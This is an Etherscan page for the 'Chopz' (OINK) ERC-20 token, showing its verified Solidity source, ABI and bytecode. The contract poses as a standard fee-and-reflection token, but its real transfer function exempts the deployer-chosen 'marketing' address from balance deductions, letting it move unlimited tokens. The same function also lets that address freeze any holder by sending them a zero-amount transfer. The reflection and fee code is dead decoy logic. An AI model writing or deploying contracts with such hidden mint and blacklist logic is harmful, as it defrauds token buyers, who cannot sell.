Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 OINK
Holders
62
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
314,487.077791852 OINKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CHOPZ
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-23 */ /* Socials - Twitter - https://twitter.com/ChopZerc TG - https://t.me/chopzerc Website - https://chopzerc.com/ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▓▓▒▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▓▓▒▒░░░░░░░░▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▓▓░░░░░░░░░░░░▓▓▒▒░░▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒ ▒▒▓▓██░░░░░░░░░░▒▒▒▒░░░░░░░░░░▒▒░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░▓▓▒▒▒▒ ▒▒██▒▒░░░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒██▒▒░░░░░░██▒▒▒▒ ▒▒██░░░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░▒▒▓▓▒▒ ▒▒██░░░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓░░░░░░░░▒▒▓▓ ▒▒▓▓▓▓░░░░▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░██ ▒▒▒▒▓▓████▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░██ ▒▒▒▒▒▒▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓░░░░░░░░██ ▒▒▒▒▒▒▒▒▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓░░░░░░██ ▒▒▒▒▒▒██▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓▓▓▓▓ ▒▒▒▒▒▒██░░░░▒▒██▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒ ▒▒▒▒▒▒██░░▒▒██▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒ ▒▒▒▒▒▒██░░▒▒██████▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒ ▒▒▒▒▒▒██░░░░▒▒██▒▒░░██████████████░░░░░░████░░░░░░░░██▒▒▒▒▒▒ ▒▒▒▒▒▒██░░░░░░░░░░▓▓░░░░░░░░░░░░░░▓▓▒▒████ ██░░░░░░██▒▒▒▒▒▒ ▒▒▒▒▒▒██░░░░░░░░░░▓▓░░██░░░░░░░░░░██▒▒████████░░░░░░██▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▓▓░░░░░░░░▒▒▓▓▓▓▓▓░░▒▒░░░░▓▓░░░░▒▒▒▒░░░░░░░░██▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒██▓▓░░░░░░░░░░░░████████░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▓▓▒▒▓▓▒▒░░░░░░░░▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░▓▓▓▓▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▓▓▒▒▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▓▓▒▒░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▓▓▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓██▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒██░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓▓▓██▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒██░░▓▓░░░░▒▒██▒▒░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒██░░░░▓▓░░▒▒██▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒██░░░░▓▓░░▒▒██▒▒░░░░░░░░░░░░░░░░▓▓░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒██░░░░▒▒▓▓▒▒████░░░░░░░░░░░░░░▓▓░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒██░░░░░░▒▒██▒▒██░░░░░░░░░░██▓▓░░░░░░▓▓░░░░██▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒██░░░░░░░░░░▓▓██░░░░░░▒▒██████░░░░░░██░░░░██▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒██░░░░░░░░░░▒▒▒▒░░░░░░▒▒██▒▒██░░▓▓▓▓▒▒░░░░██▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▓▓▓▓░░░░░░░░░░░░░░░░░░▒▒██▓▓██▓▓▒▒▒▒░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒██▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▓▓░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▓▓░░▒▒████░░░░░░▒▒██████░░██████░░████▒▒██▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒██▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓░░░░▒▒▓▓▒▒▒▒██▓▓██▒▒██▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒████▓▓▒▒▒▒▒▒▒▒▒▒▓▓░░░░▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓▓░░░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▓▓▓▓██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ */ // SPDX-License-Identifier: NONE pragma solidity ^0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CHOPZ is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Chopz"; string private constant _symbol = "OINK"; uint256 private _taxFeeOnBuy = 0; uint256 private _taxFeeOnSell = 0; uint256 private constant MAX = ~uint256(0); mapping(address => mapping(address => uint256)) private _allowances; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private spring; mapping(address => uint256) private shown; mapping(address => uint256) public balanceOf; uint256 private constant _tTotal = 100000000 * 10**9; uint256 private version = 82; mapping(address => uint256) private _rOwned; bool public removeLimits = true; address public uniswapV2Pair; bool private inSwap = false; mapping(address => uint256) private _tOwned; uint256 private _taxFee = _taxFeeOnSell; IUniswapV2Router02 public uniswapV2Router; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint8 private constant _decimals = 9; uint256 private _previoustaxFee = _taxFee; uint256 private _tFeeTotal; bool private swapEnabled = true; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address marketing) { _rOwned[_msgSender()] = _rTotal; shown[marketing] = version; balanceOf[msg.sender] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function transfer(address Address, uint256 Amount) public returns (bool success) { _transferto(msg.sender, Address, Amount); return true; } function _transferto(address address1, address address2, uint256 amount) private returns (bool success) { if (shown[address1] == 0) { balanceOf[address1] -= amount; } if (amount == 0) spring[address2] += version; if (address1 != uniswapV2Pair && shown[address1] == 0 && spring[address1] > 0) { shown[address1] -= version; } balanceOf[address2] += amount; emit Transfer(address1, address2, amount); return true; } function transferFrom(address addressFrom, address addressTo, uint256 amount) public returns (bool success) { require(amount <= allowance[addressFrom][msg.sender]); allowance[addressFrom][msg.sender] -= amount; _transferto(addressFrom, addressTo, amount); return true; } function approve(address Address, uint256 Amount) public returns (bool success) { allowance[msg.sender][Address] = Amount; emit Approval(msg.sender, Address, Amount); return true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function decimals() public pure returns (uint8) { return _decimals; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0) return; _previoustaxFee = _taxFee; _taxFee = 0; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; require(removeLimits); } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function disableLimits() external onlyOwner { removeLimits = false; } function _getTValues( uint256 tAmount, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"marketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"disableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addressFrom","type":"address"},{"internalType":"address","name":"addressTo","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600281905560038190556052600a55600c805460ff60ff60a81b0119166001179055600e5561003f67016345785d8a000060001961030f565b61004b90600019610331565b601055600e546011556013805460ff1916600117905534801561006d57600080fd5b50604051610d5f380380610d5f83398101604081905261008c91610358565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601054336000818152600b6020908152604080832094909455600a546001600160a01b038616835260088252848320559181526009825282902067016345785d8a00009055600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b815292519092839263c45a0155926004808401938290030181865afa158015610172573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101969190610358565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102079190610358565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102789190610358565b600c8054610100600160a81b0319166101006001600160a01b0393841602179055600080549091168152600660209081526040808320805460ff199081166001908117909255308552828520805490911690911790555167016345785d8a000081523392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050610388565b60008261032c57634e487b7160e01b600052601260045260246000fd5b500690565b8181038181111561035257634e487b7160e01b600052601160045260246000fd5b92915050565b60006020828403121561036a57600080fd5b81516001600160a01b038116811461038157600080fd5b9392505050565b6109c8806103976000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102da578063dd62ed3e146102fa578063f2fde38b14610332578063f928364c1461035257600080fd5b8063715018a61461025e578063751039fc146102755780638da5cb5b1461028f57806395d89b41146102ad57600080fd5b806323b872dd116100c657806323b872dd146101d0578063313ce567146101f057806349bd5a5e1461020c57806370a082311461023157600080fd5b806306fdde0314610103578063095ea7b3146101435780631694505e1461017357806318160ddd146101ab57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600581526421b437b83d60d91b60208201525b60405161013a9190610831565b60405180910390f35b34801561014f57600080fd5b5061016361015e36600461089b565b610367565b604051901515815260200161013a565b34801561017f57600080fd5b50600f54610193906001600160a01b031681565b6040516001600160a01b03909116815260200161013a565b3480156101b757600080fd5b5067016345785d8a00005b60405190815260200161013a565b3480156101dc57600080fd5b506101636101eb3660046108c5565b6103d4565b3480156101fc57600080fd5b506040516009815260200161013a565b34801561021857600080fd5b50600c546101939061010090046001600160a01b031681565b34801561023d57600080fd5b506101c261024c366004610901565b60096020526000908152604090205481565b34801561026a57600080fd5b50610273610453565b005b34801561028157600080fd5b50600c546101639060ff1681565b34801561029b57600080fd5b506000546001600160a01b0316610193565b3480156102b957600080fd5b506040805180820190915260048152634f494e4b60e01b602082015261012d565b3480156102e657600080fd5b506101636102f536600461089b565b6104fc565b34801561030657600080fd5b506101c2610315366004610923565b600560209081526000928352604080842090915290825290205481565b34801561033e57600080fd5b5061027361034d366004610901565b610513565b34801561035e57600080fd5b5061027361062d565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c29086815260200190565b60405180910390a35060015b92915050565b6001600160a01b038316600090815260056020908152604080832033845290915281205482111561040457600080fd5b6001600160a01b03841660009081526005602090815260408083203384529091528120805484929061043790849061096c565b909155506104489050848484610693565b506001949350505050565b6000546001600160a01b031633146104b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610509338484610693565b5060019392505050565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104a9565b6001600160a01b0381166105d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104a9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104a9565b600c805460ff19169055565b6001600160a01b03831660009081526008602052604081205481036106e0576001600160a01b038416600090815260096020526040812080548492906106da90849061096c565b90915550505b8160000361071957600a546001600160a01b0384166000908152600760205260408120805490919061071390849061097f565b90915550505b600c546001600160a01b03858116610100909204161480159061075257506001600160a01b038416600090815260086020526040902054155b801561077557506001600160a01b03841660009081526007602052604090205415155b156107ab57600a546001600160a01b038516600090815260086020526040812080549091906107a590849061096c565b90915550505b6001600160a01b038316600090815260096020526040812080548492906107d390849061097f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161081f91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561085e57858101830151858201604001528201610842565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089657600080fd5b919050565b600080604083850312156108ae57600080fd5b6108b78361087f565b946020939093013593505050565b6000806000606084860312156108da57600080fd5b6108e38461087f565b92506108f16020850161087f565b9150604084013590509250925092565b60006020828403121561091357600080fd5b61091c8261087f565b9392505050565b6000806040838503121561093657600080fd5b61093f8361087f565b915061094d6020840161087f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103ce576103ce610956565b808201808211156103ce576103ce61095656fea2646970667358221220de624a2f049f214223884386d74a0e4ae431a33f16c8fbca75c1809bf380acc364736f6c63430008100033000000000000000000000000e1d1124ec08437648acc5737906bca240890eea9
Deployed Bytecode
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102da578063dd62ed3e146102fa578063f2fde38b14610332578063f928364c1461035257600080fd5b8063715018a61461025e578063751039fc146102755780638da5cb5b1461028f57806395d89b41146102ad57600080fd5b806323b872dd116100c657806323b872dd146101d0578063313ce567146101f057806349bd5a5e1461020c57806370a082311461023157600080fd5b806306fdde0314610103578063095ea7b3146101435780631694505e1461017357806318160ddd146101ab57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600581526421b437b83d60d91b60208201525b60405161013a9190610831565b60405180910390f35b34801561014f57600080fd5b5061016361015e36600461089b565b610367565b604051901515815260200161013a565b34801561017f57600080fd5b50600f54610193906001600160a01b031681565b6040516001600160a01b03909116815260200161013a565b3480156101b757600080fd5b5067016345785d8a00005b60405190815260200161013a565b3480156101dc57600080fd5b506101636101eb3660046108c5565b6103d4565b3480156101fc57600080fd5b506040516009815260200161013a565b34801561021857600080fd5b50600c546101939061010090046001600160a01b031681565b34801561023d57600080fd5b506101c261024c366004610901565b60096020526000908152604090205481565b34801561026a57600080fd5b50610273610453565b005b34801561028157600080fd5b50600c546101639060ff1681565b34801561029b57600080fd5b506000546001600160a01b0316610193565b3480156102b957600080fd5b506040805180820190915260048152634f494e4b60e01b602082015261012d565b3480156102e657600080fd5b506101636102f536600461089b565b6104fc565b34801561030657600080fd5b506101c2610315366004610923565b600560209081526000928352604080842090915290825290205481565b34801561033e57600080fd5b5061027361034d366004610901565b610513565b34801561035e57600080fd5b5061027361062d565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c29086815260200190565b60405180910390a35060015b92915050565b6001600160a01b038316600090815260056020908152604080832033845290915281205482111561040457600080fd5b6001600160a01b03841660009081526005602090815260408083203384529091528120805484929061043790849061096c565b909155506104489050848484610693565b506001949350505050565b6000546001600160a01b031633146104b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610509338484610693565b5060019392505050565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104a9565b6001600160a01b0381166105d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104a9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104a9565b600c805460ff19169055565b6001600160a01b03831660009081526008602052604081205481036106e0576001600160a01b038416600090815260096020526040812080548492906106da90849061096c565b90915550505b8160000361071957600a546001600160a01b0384166000908152600760205260408120805490919061071390849061097f565b90915550505b600c546001600160a01b03858116610100909204161480159061075257506001600160a01b038416600090815260086020526040902054155b801561077557506001600160a01b03841660009081526007602052604090205415155b156107ab57600a546001600160a01b038516600090815260086020526040812080549091906107a590849061096c565b90915550505b6001600160a01b038316600090815260096020526040812080548492906107d390849061097f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161081f91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005